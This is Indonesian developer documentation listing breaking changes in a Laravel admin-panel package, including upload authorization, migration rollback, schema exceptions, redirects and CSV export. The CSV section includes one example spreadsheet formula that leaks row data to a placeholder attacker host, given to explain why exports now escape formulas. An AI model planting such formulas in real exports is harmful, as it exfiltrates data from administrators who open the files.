Breaking Changes
Halaman ini memuat setiap perubahan yang mengharuskan aplikasi melakukan penyesuaian, apa yang rusak jika tidak disesuaikan, dan perubahan terkecil yang diperlukan untuk memperbaikinya. Tidak ada bagian yang hanya berarti "pertimbangkan" — jika sebuah bagian berlaku pada project Anda dan Anda tidak melakukan apa pun, ada perilaku yang tetap salah atau rusak. Urutan penerapan perubahan ini dijelaskan dalam Panduan upgrade.
Contoh minimal yang dapat langsung digunakan
Sebelum melakukan upgrade, jalankan tiga command berikut karena sebagian besar perubahan pada daftar ini akan terlihat melalui salah satunya:
php artisan test # schema refusals and authorization changes fail here first
php artisan panel:plugins # a plugin whose constraint no longer resolves
php artisan panel:assets # published files that carry a client-side half of a fix2
3
Kesalahan schema akan melempar exception ketika schema dibangun, yaitu pada saat boot atau render pertama. Artinya test suite dapat menemukannya sebelum pengguna. Itu sebabnya php artisan test ditempatkan di awal panduan ini, bukan di akhir.
Belum dirilis
Ada sembilan perubahan yang memerlukan penyesuaian. Dua di antaranya bersifat silent: aplikasi tetap berjalan tetapi melakukan hal yang salah. Keduanya ditempatkan paling awal.
| # | Perubahan | Gejala |
|---|---|---|
| 1 | Upload diotorisasi berdasarkan form tempat upload tersebut berada | silent — role dengan viewAny sebelumnya dapat menulis file |
| 2 | Migration down() tidak lagi menghapus table notifications yang tidak dibuat package | silent — rollback sebelumnya dapat menghapus data |
| 3 | Sembilan kesalahan schema sekarang melempar PanelSchemaException | exception saat schema dibangun |
| 4 | PanelPlugin::publishes() dipindahkan ke contract | fatal error saat registration |
| 5 | Constraint requiresPanel pada plugin kembali diperiksa | exception saat registration |
| 6 | Guest redirect diregistrasikan oleh service provider | rule milik aplikasi dapat tertimpa |
| 7 | /dashboard mengarahkan user yang sudah login masuk ke panel | screen milik aplikasi dapat menjadi tidak dapat diakses |
| 8 | Broadcasting tidak diberikan jika tidak ada connection yang valid | channel panel tidak tersedia |
| 9 | Export CSV menetralkan cell yang dapat dieksekusi sebagai formula | muncul apostrof awal pada file yang dibaca program |
Selain itu ada tiga kelompok perubahan yang tidak mengubah API tetapi dapat mengubah hasil yang terlihat: perbaikan layout, perbaikan yang berada di published files, dan testing helper yang dipindahkan ke package.
1. Upload diotorisasi berdasarkan form tempatnya berada (silent)
Apa yang berubah. Endpoint upload sebelumnya menerima canCreate() || canViewAny(). Sekarang kemampuan membaca resource tidak pernah cukup untuk melakukan upload:
| Context pada URL | Schema yang dibangun | Ability yang diperiksa |
|---|---|---|
page=create | create form milik resource | create |
page=edit + record | edit form milik resource | update, pada record tersebut |
relation + operation | relation form | ability milik relation manager sesuai operation |
action + scope | form milik action | isAuthorizedFor() milik action |
Authorization dan schema ditentukan oleh branch yang sama secara sengaja. Schema yang dibangun untuk satu context tetapi permission diperiksa terhadap context lain adalah jenis bug yang justru ingin dihindari endpoint ini.
Apa yang rusak. User yang sebelumnya dapat upload hanya dengan viewAny sekarang menerima 403. Jika perilaku lama memang dibutuhkan — misalnya role read-only yang sebenarnya diperbolehkan menambahkan attachment — berikan role tersebut ability create pada model, karena secara faktual itulah operasi yang sedang dilakukan:
public function create(User $user): bool
{
return $user->hasRole('support'); // the role that was uploading on viewAny
}2
3
4
Selain itu: page sekarang merupakan allowlist, bukan logika "jika bukan edit maka create". Value yang tidak dikenal sebelumnya jatuh ke create form, yaitu branch yang tidak membutuhkan record. Sekarang page selain create atau edit menghasilkan 422.
Selain itu: seluruh context — resource, page, record, relation, action — hanya dibaca dari query string, tidak pernah dari request body. Sebelumnya form yang kebetulan memiliki field resource dapat mengarahkan upload ke resource lain.
Jika frontend dipublikasikan sebelum perubahan ini, salinan client lama masih mengirim resource pada body, padahal server sekarang tidak membacanya dari sana:
php artisan panel:assets --update
npm run build2
Jika resources/js/panel/forms/uploadEndpoint.ts dilaporkan sebagai yours atau CONFLICT, terapkan perubahan secara manual: hapus block yang menyalin resource dari URL ke FormData. Semua informasi yang dibutuhkan server sudah ada pada query string.
2. Migration down() tidak lagi menghapus table notifications yang bukan miliknya (silent)
Apa yang berubah. up() sejak awal melewati table jika aplikasi sudah memilikinya. down() sebelumnya tidak: method tersebut menjalankan dropIfExists(), sehingga rollback package dapat menghapus table notifications milik aplikasi.
PandaPanel\Support\PackageSchema sekarang memastikan ownership sebelum menghapus apa pun — tidak ada migration lain yang sudah dijalankan yang mengklaim table dengan nama tersebut, dan kolomnya harus sama persis dengan yang dibuat up() — lalu membiarkan table tetap ada jika ownership tidak dapat dipastikan.
Apa yang rusak. Tidak ada, kecuali Anda memang mengandalkan rollback untuk membersihkan table tersebut. Table notifications kosong sekarang dapat tetap ada setelah migrate:rollback:
php artisan migrate:rollback
php artisan db:table notifications # still there? that is the new behaviour2
Hapus manual jika Anda memang ingin table tersebut dihilangkan.
3. Sembilan kesalahan schema sekarang melempar PanelSchemaException
Apa yang berubah. Ada sembilan konfigurasi table, form, action, atau widget yang secara logis tidak dapat benar dan sekarang akan melempar PandaPanel\Exceptions\PanelSchemaException. Setiap message menyebut schema, nama yang bermasalah, dan cara memperbaikinya.
| Kesalahan | Perilaku sebelumnya |
|---|---|
| Dua column dengan nama yang sama | Dua column berbagi satu key untuk cell value, visibility state, search term, dan sort |
| Dua form field dengan nama yang sama | Hanya satu validation rule; field lain tetap render, terisi, disubmit, lalu dibuang |
| Dua filter dengan nama yang sama | Filter state menggunakan nama sebagai key di query string, sehingga control kedua menimpa yang pertama |
| Dua action dengan nama yang sama dalam satu set | Endpoint mengambil yang pertama, sehingga button kedua selalu menjalankan action pertama |
Action tanpa url(), action(), form(), atau modal() | Button tampil tetapi tidak melakukan apa pun |
defaultSort() menunjuk column yang tidak ada | Nilai diserialisasi lalu dibuang oleh sort whitelist; hasil kembali ke natural order tanpa penjelasan |
| Nama kosong pada column, field, atau action | Tidak ada cara menghubungkan value, rule, atau request ke komponen tersebut |
Widget column span bukan angka dan bukan 'full' | Typo seperti 'ful' menghasilkan 1, hanya seperempat lebar yang diminta |
Widget column span menggunakan breakpoint yang tidak dimiliki grid ('sm', 'xxl') | Diam-diam diabaikan sehingga baris config tidak melakukan apa pun |
Apa yang rusak. Tidak ada perilaku yang sebelumnya benar. Semua kasus di atas sebelumnya menghasilkan perilaku salah, bukan fitur yang valid. Perbedaannya adalah sekarang muncul exception di tempat sebelumnya bug terjadi diam-diam.
Perbaikannya selalu pada schema, bukan config. Ganti salah satu nama yang duplikat; gunakan dehydrateTo() jika dua input memang harus menulis ke satu column; hapus action yang tidak melakukan apa pun.
use PandaPanel\Forms\Components\PasswordInput;
use PandaPanel\Forms\Components\TextInput;
// Two inputs, one column — the legitimate version of "two fields for one thing".
PasswordInput::make('password');
PasswordInput::make('password_confirmation')->dehydrated(false);
// Or give the second input its own name and point it at the column:
TextInput::make('display_name')->dehydrateTo('name');2
3
4
5
6
7
8
9
public function dehydrateTo(string $attribute): static
public function dehydrated(Closure|bool $condition = true): static2
Angka di luar rentang tetap di-clamp, bukan ditolak: columnSpan(99) tetap merupakan permintaan yang dapat diterjemahkan secara wajar menjadi empat, tetapi string salah eja adalah kesalahan dan tidak seharusnya disembunyikan oleh clamp.
Pemeriksaan dijalankan ketika schema dibangun, yaitu saat boot atau render pertama page:
php artisan test4. PanelPlugin::publishes() dipindahkan ke contract
Apa yang berubah. publishes() berpindah dari base class Plugin ke interface PandaPanel\Contracts\PanelPlugin, sehingga panel:publish dapat menanyakan published files kepada plugin apa pun, bukan hanya plugin yang kebetulan mewarisi base class tersebut.
Apa yang rusak. Plugin yang mengimplementasikan PanelPlugin secara langsung — pola yang tepat untuk plugin yang dikirim sebagai package sendiri — tidak lagi memenuhi interface sampai method berikut ditambahkan:
/**
* @return array<string, string>
*/
public function publishes(): array
{
return [];
}2
3
4
5
6
7
Plugin yang extend PandaPanel\Plugins\Plugin tidak memerlukan perubahan karena base class tetap menyediakan implementasinya.
5. Constraint requiresPanel pada plugin kembali diperiksa
Apa yang berubah. PluginCompatibility::PACKAGE tertinggal menggunakan panda-panel ketika Composer package diubah namanya menjadi chocoalano/panel. Composer\InstalledVersions::getPrettyVersion() melempar exception untuk nama package yang tidak dikenal; class menangkap kondisi itu sebagai "tidak diinstal sebagai package" lalu menghasilkan null; sedangkan version null melewati pemeriksaan constraint. Akibatnya setiap requiresPanel yang dideklarasikan plugin tidak pernah benar-benar diperiksa sejak rename.
Apa yang rusak. Plugin dengan constraint yang tidak cocok dengan version terinstal sekarang melempar PandaPanel\Exceptions\PanelRegistrationException saat registration. Karena registration terjadi saat boot, setiap route dan setiap Artisan command gagal sampai masalah diselesaikan. Ini merupakan failure mode yang disengaja karena exception menyebut plugin, panel, constraint, dan version yang terpasang.
Periksa sebelum upgrade, bukan sesudahnya:
php artisan panel:plugins
php artisan panel:plugins --panel=admin2
Solusinya hanya salah satu dari tiga: upgrade plugin, longgarkan constraint jika plugin milik Anda, atau lepaskan plugin dari panel.
use PandaPanel\Plugins\PluginMetadata;
public function metadata(): PluginMetadata
{
return new PluginMetadata(
name: 'Billing',
package: 'acme/panda-billing',
requiresPanel: '^0.1', // evaluated by composer/semver against chocoalano/panel
);
}2
3
4
5
6
7
8
9
10
Ada tiga kondisi yang tetap dilewati, dan semuanya memang berarti tidak ada constraint yang dapat dievaluasi: plugin tidak mendeklarasikan constraint, framework tidak terinstal sebagai Composer package, atau version berupa branch alias seperti dev-main. Lihat Versioning.
6. Guest redirect diregistrasikan oleh service provider
Apa yang berubah. Mengarahkan guest yang membuka URL panel ke login milik panel tersebut sebelumnya membutuhkan konfigurasi manual di bootstrap/app.php. Sekarang service provider mendaftarkannya sendiri memakai urutan afterResolving(Kernel::class) yang sama dengan alasan konfigurasi manual dahulu diperlukan.
Apa yang rusak. Tidak ada jika bootstrap/app.php Anda masih berisi baris dari README lama. Baris tersebut sekarang redundant tetapi tidak berbahaya dan dapat dihapus:
->withMiddleware(function (Middleware $middleware): void {
$middleware->redirectGuestsTo(PanelLoginRedirect::for(...)); // ← delete
})2
3
Jika Anda memiliki custom guest redirect, package sekarang dapat menimpanya. Matikan registrasi otomatis dan panggil PanelLoginRedirect dari rule Anda sendiri:
// config/panda-panel.php
'register_guest_redirect' => false,2
// bootstrap/app.php
use PandaPanel\Support\PanelLoginRedirect;
$middleware->redirectGuestsTo(
fn ($request) => PanelLoginRedirect::for($request) ?? route('welcome'),
);2
3
4
5
6
public static function for(Request $request): ?stringMethod tersebut mengembalikan login URL milik panel yang sesuai dengan request dan sudah memiliki fallback ke route('login') untuk request non-panel. Karena itu registrasi otomatis tetap merupakan konfigurasi yang benar untuk hampir semua aplikasi.
7. /dashboard mengarahkan user yang sudah login ke panel
Apa yang berubah. User yang sudah login dan mendarat di /dashboard milik starter kit sekarang diarahkan ke panel pertama yang dapat diaksesnya. Ini adalah pasangan dari guest redirect: guest diarahkan keluar menuju login yang benar, sedangkan user yang sudah login diarahkan masuk ke panel yang sebelumnya harus mereka temukan dengan mengetik URL. Mekanismenya berupa middleware web keempat, RedirectPanelHome.
Apa yang rusak. Route /dashboard, nama route, dan resources/js/pages/Dashboard.vue tidak diubah. Request hanya dijawab lebih awal sehingga link yang menggunakan route name tetap sama. Yang terdampak adalah aplikasi yang benar-benar menggunakan /dashboard sebagai screen utama, karena screen tersebut menjadi tidak dapat diakses ketika user sudah login.
Jika /dashboard Anda memang screen yang digunakan, matikan fitur ini. Ini juga berlaku pada instalasi lama: key baru di-merge dari package sehingga config yang sudah dipublish sebelum rilis ini tidak otomatis opt-out.
// config/panda-panel.php
'home_redirect' => [
'enabled' => false,
],2
3
4
Atau serahkan path lain. Value menggunakan pola Request::is(), dan path yang juga merupakan mount point panel akan diabaikan agar panel pada /dashboard tidak me-redirect dirinya sendiri:
'home_redirect' => [
'enabled' => true,
'paths' => ['dashboard', 'home', 'overview'],
],2
3
4
Default-nya adalah 'paths' => ['dashboard'].
8. Broadcasting tidak diberikan tanpa connection yang valid
Apa yang berubah. Panel::$broadcasting default ke true, sehingga server sebelumnya mengirim channel ke setiap user yang sudah login dan client langsung memanggil echo() pada channel tersebut. Pada aplikasi tanpa broadcaster, hal ini melempar "Echo has not been configured" di dalam onMounted, menghentikan mount panel layout, lalu memicu rangkaian warning Slot "default" invoked outside of the render function — tidak satu pun menunjukkan akar masalah yaitu broadcaster.
SharePanelData sekarang tidak mengirim channel kecuali broadcast connection benar-benar tersedia:
use PandaPanel\Support\BroadcastSupport;
BroadcastSupport::isConfigured(); // bool2
3
Selain itu echo() dibungkus sehingga frontend yang belum memanggil configureEcho() hanya mendapatkan satu console warning pada development, bukan screen yang gagal mount.
Apa yang rusak. Aplikasi yang melakukan broadcasting dari PHP tetapi menggunakan BROADCAST_CONNECTION=null atau log sekarang tidak menerima panel channel. Connection tersebut sebelumnya memang tidak dapat disubscribe browser; perbedaannya hanya sekarang panel menyatakannya dengan jelas alih-alih gagal saat mount.
php artisan config:show broadcasting.defaultGunakan connection yang benar untuk mendapatkan channel kembali:
BROADCAST_CONNECTION=reverb9. Export CSV menetralkan cell formula
Apa yang berubah. Cell yang diawali =, +, -, @, tab, atau carriage return diperlakukan sebagai formula oleh Excel, LibreOffice, dan Sheets lalu dievaluasi saat file dibuka. Contohnya, =HYPERLINK("http://attacker?x="&A1,"Click") dapat mengekstrak data pada row yang sama. Attacker cukup memiliki kemampuan menulis sebuah record field, sementara victim adalah administrator yang membuka hasil export — pola yang sangat relevan untuk admin panel. Cell seperti ini sekarang diberi apostrof di depan, yang dibaca spreadsheet sebagai text dan tidak ditampilkan sebagai bagian dari value.
Apa yang rusak. CSV yang dikonsumsi oleh program lain, bukan dibuka manusia. Program tidak mengevaluasi formula, sehingga apostrof justru menjadi perubahan data. Matikan hanya pada exporter tersebut:
use PandaPanel\Actions\Exports\Exporter;
final class LedgerFeedExporter extends Exporter
{
public static function escapesFormulas(): bool
{
return false;
}
}2
3
4
5
6
7
8
9
public static function escapesFormulas(): bool // defaults to trueJangan pernah mematikannya untuk file yang akan dibuka manusia. XLSX tidak terdampak karena writer menggunakan cell t="inlineStr", sedangkan formula pada format tersebut berada dalam element <f> yang tidak pernah ditulis writer.
Selain itu: exporter atau importer yang mendeklarasikan column yang sama dua kali sekarang ditolak, dan nama column kosong juga ditolak. Tanpa pemeriksaan ini file dapat memiliki dua heading identik, sementara column picker menggunakan nama sebagai key sehingga memilih satu berarti memilih keduanya dan menghapus pilihan pun tidak bekerja sebagaimana mestinya.
Testing helper dipindahkan ke package
Apa yang berubah. panelTable(), panelForm(), panelRecordActions(), dan helper lainnya sebelumnya hanya ada di folder tests/ repository ini dan tidak ikut dikirim ke aplikasi. Sekarang semuanya berada di PandaPanel\Testing\*, di-autoload melalui Composer files, dan dapat digunakan pada test suite aplikasi tanpa import maupun base class khusus.
Apa yang rusak. Tidak ada pada aplikasi karena helper tersebut sebelumnya memang tidak tersedia. Jika Anda pernah menyalinnya ke tests/Support/, hapus salinan Anda. Function bawaan package dilindungi dengan function_exists, sehingga salinan lama milik aplikasi akan menang secara diam-diam dan lama-kelamaan tidak sinkron dengan framework yang sedang diuji.
panelTable(UserResource::class)->assertCanSeeRecord($user)->assertCount(2);
panelForm(UserResource::class)->assertFieldIsRequired('name');
panelTableActions(UserResource::class)->assertCanNotRun('purgeUnverified');2
3
Password::toPasswordRulesString() tidak lagi dipanggil secara langsung
Apa yang berubah. Tiga page sebelumnya membangun attribute browser passwordrules dengan Password::defaults()->toPasswordRulesString(). Method tersebut hanya tersedia di Laravel 13, sehingga pada Laravel 12 screen login, register, reset-password, dan security settings dapat menghasilkan 500 meskipun package mengklaim mendukung kedua version.
Apa yang rusak. Tidak ada pada package. Jika custom panel page Anda memanggil method tersebut dan masih harus mendukung Laravel 12, gunakan helper bawaan berikut. Output-nya identik:
use Illuminate\Validation\Rules\Password;
use PandaPanel\Support\PasswordRules;
PasswordRules::attribute(); // uses Password::defaults()
PasswordRules::attribute(Password::min(12)); // an explicit rule2
3
4
5
public static function attribute(?Password $password = null): stringHelper menggunakan method framework jika tersedia dan mereproduksi output yang sama dari appliedRules() jika method tersebut tidak ada.
panel:install melakukan lebih banyak pekerjaan dan mengajukan prompt
Apa yang berubah. Installer sekarang mendaftarkan panel hasil scaffold ke config/panda-panel.php, memeriksa kebutuhan frontend, dan menawarkan pembuatan user. Dua perubahan pertama mengubah perilaku scripted install:
- Provider registration sekarang mengedit config hasil publish. Jika config sudah direstrukturisasi — misalnya key
panelsdibuat dari variable — file dibiarkan apa adanya dan installer melaporkan baris yang perlu Anda tambahkan secara manual. - Prompt pembuatan user hanya tampil pada terminal interaktif. Pada script, nyatakan intent secara eksplisit:
php artisan panel:install --no-user --no-interaction
php artisan panel:user --name=Ada --email=ada@example.com --password=secret --panel=admin2
panel:install
{--panel=Admin : The name of the first panel to scaffold}
{--no-panel : Publish and configure without scaffolding a panel}
{--no-user : Skip the offer to create a signing-in account}
{--force : Overwrite files that already exist}2
3
4
5
Publish migration sekarang juga menggunakan prompt dan default-nya tidak pada eksekusi non-interaktif. Migration memang sudah dijalankan langsung dari package; publish hanya diperlukan jika aplikasi ingin mengambil ownership. Jika Anda memilih publish, set load_migrations ke false agar schema yang sama tidak diterapkan dua kali.
Perbaikan layout yang dapat mengubah tampilan
Tidak ada API yang berubah pada bagian ini. Perbedaannya adalah empat declaration yang sebelumnya diabaikan sekarang benar-benar diterapkan, sehingga form atau infolist yang tidak Anda ubah dapat terlihat berbeda setelah upgrade. Keempatnya sebelumnya menghasilkan layout tersempit dari permintaan yang sebenarnya lebih lebar.
| Declaration | Sebelumnya | Sekarang |
|---|---|---|
FormSchema::columns(2) | Diserialisasi lalu diabaikan — root menumpuk node dalam flex column | Root sekarang grid seperti container lainnya |
columns(6) pada salah satu dari sebelas setter | Jatuh ke class satu-column | Di-clamp melalui PandaPanel\Support\ColumnCount ke ColumnCount::MAX, yaitu 4 |
columnSpan(4) pada form empat-column di breakpoint md | Menghasilkan md:col-span-4 terhadap dua track dan menyebabkan overflow horizontal | Di-clamp per breakpoint |
columnSpan(2) yang dimaksud sebagai "full width" | Benar hanya selama section tetap memiliki dua column | columnSpanFull() menghasilkan col-span-full |
use PandaPanel\Forms\Components\TextInput;
use PandaPanel\Support\ColumnCount;
ColumnCount::MAX; // 4
ColumnCount::clamp(6); // 4
ColumnCount::clamp(0); // 1
TextInput::make('notes')->columnSpanFull();2
3
4
5
6
7
8
public function columnSpanFull(): static // Forms\Components\Field, Infolists\Components\EntryMemanggil columnSpanFull() pada FormSchema sebelumnya dan sekarang tetap menghasilkan BadMethodCallException: schema adalah root dan tidak memiliki parent grid yang perlu di-span. FormSchema::__call() sekarang memberikan message yang menjelaskan kesalahan dan chain yang benar, bukan sekadar "Call to unknown method".
columnSpan() pada infolist entry juga sekarang di-clamp minimal ke satu alih-alih menerima 0.
Yang perlu diperiksa setelah upgrade: form yang mendeklarasikan FormSchema::columns() pada root, container yang meminta lebih dari empat column, dan field yang menuliskan full width sebagai columnSpan(2).
Perbaikan yang berada di published files
Perbaikan berikut berada pada salinan Vue atau TypeScript milik package, sehingga aplikasi baru mendapatkannya setelah menjalankan panel:assets --update dan npm run build. Jika gejalanya tetap ada setelah upgrade, file terkait kemungkinan berstatus yours atau CONFLICT dan perubahan harus diterapkan manual.
| Gejala | Published file |
|---|---|
| Menghapus table filter membuat filter langsung muncul kembali dari session | resources/js/panel/tables/filterParams.ts dan toolbar |
| Upload menghasilkan 403 atau masuk ke resource yang salah | resources/js/panel/forms/uploadEndpoint.ts |
| Form empat-column memiliki layout berbeda dari infolist empat-column | resources/js/panel/lib/grid.ts |
Semua panel screen render di dalam AppLayout milik host | page di bawah resources/js/pages/panel/ |
vue-tsc melaporkan error di file yang tidak ditulis aplikasi | resources/js/panel/types/shared.ts |
Dua perubahan membutuhkan penjelasan tambahan.
Menghapus filter. Rule server adalah request menang setiap kali request menyebut value — termasuk ketika value kosong — dan hanya ketika key benar-benar tidak ada server boleh fallback ke session. Client lama melanggar kontrak ini karena menghapus key ketika user membersihkan filter. Akibatnya "dikosongkan" dan "tidak pernah disebut" menjadi request yang sama. Client baru mengirim filters= dan search= secara eksplisit.
Page layout. Setiap panel page hasil publish sekarang memiliki defineOptions({ layout }), sehingga aplikasi tidak lagi membutuhkan case khusus panel/ di app.ts. Jika case itu sebelumnya tidak ada, semua panel screen dapat render di dalam AppLayout milik starter kit — sidebar host muncul, navigation panel hilang — dengan HTTP 200 tanpa error. Satu-satunya kasus yang tidak dapat diperbaiki package dari dalam adalah override tanpa fallback pada app.ts milik aplikasi:
page.default.layout = AppLayout; // ← this wins over defineOptionspanel:install membaca app.ts dan melaporkan kondisi tersebut lengkap dengan file, line, dan replacement.
Published types. usePanel dan useNavigation tidak lagi bergantung pada augmentation declare module '@inertiajs/core' di resources/js/types/, dan package tidak lagi mengirim declaration untuk name, auth, atau sidebarOpen karena ketiganya merupakan bagian dari contract aplikasi. Jika vue-tsc mulai mengeluhkan field tersebut, deklarasikan pada resources/js/types milik aplikasi.
Dukungan diperluas, bukan breaking change
Tidak ada item di bagian ini yang memerlukan edit. Bagian ini tetap dicantumkan karena upgrade adalah saat yang paling masuk akal bagi developer untuk mencari perubahan tersebut.
- PHP 8.2 sekarang didukung. Floor sebelumnya
^8.3padahal tidak ada code yang membutuhkannya. PHP 8.2 menggunakan Laravel 12 dan kombinasi tersebut dijalankan di CI. - Laravel 11 tetap tidak didukung dan tidak dapat didukung. Semua release 11.x ditandai oleh unpatched security advisories dan Composer menolak resolve terhadapnya.
- Panel manifest sekarang memiliki key
panelsselainfingerprint. Manifest dari version lama tetap dapat dibaca tanpa perubahan, sehingga upgrade tidak membutuhkan cache clear hanya untuk boot. Di luar production, manifest stale sekarang memberikan warning alih-alih diam-diam menghilangkan resource.
Catatan
- Dua perubahan bersifat silent, dan justru karena silent keduanya ditempatkan paling awal. Upload yang diotorisasi melalui
viewAnydan rollback yang menghapus notifications milik aplikasi sama-sama dapat terjadi tanpa gejala yang jelas. - Schema exception saat boot bukan regression baru. Bug-nya sudah ada sebelumnya; sekarang bug tersebut disebut secara eksplisit. Message menyertakan schema, nama, dan cara memperbaikinya.
- Plugin dapat menghentikan aplikasi saat boot.
requiresPanelyang tidak terpenuhi melempar exception saat registration sehinggaphp artisan panel:pluginsjuga gagal. Baca exception; nama plugin disebutkan di sana. home_redirectdan semua config key baru di-merge. Config yang dipublikasikan sebelum release baru tidak berarti otomatis menolak default yang ditambahkan setelahnya.- Perbaikan pada published file membutuhkan dua langkah.
panel:assets --updatemenulis source dannpm run buildmemasukkannya ke bundle. Salah satu saja tidak cukup. - Tidak ada perubahan di halaman ini yang mengubah route name, publish tag, atau nama config file. Statement
usemilik aplikasi tidak perlu diubah untuk entry mana pun di halaman ini.
Lihat juga
- Panduan upgrade — urutan penerapan seluruh perubahan ini
- Kebijakan versioning — apa yang dijanjikan version number
- Changelog — release note lengkap, termasuk perubahan yang tidak breaking
- Manifest asset, Menyelesaikan konflik asset
- Migrasi nama package
- Plugin compatibility, Plugin contract
- Home redirect, Guest redirect, Migrations
- File uploads, Form layouts
- Exporters
- Broadcasting
- Testing helpers
panel:install,panel:plugins,panel:user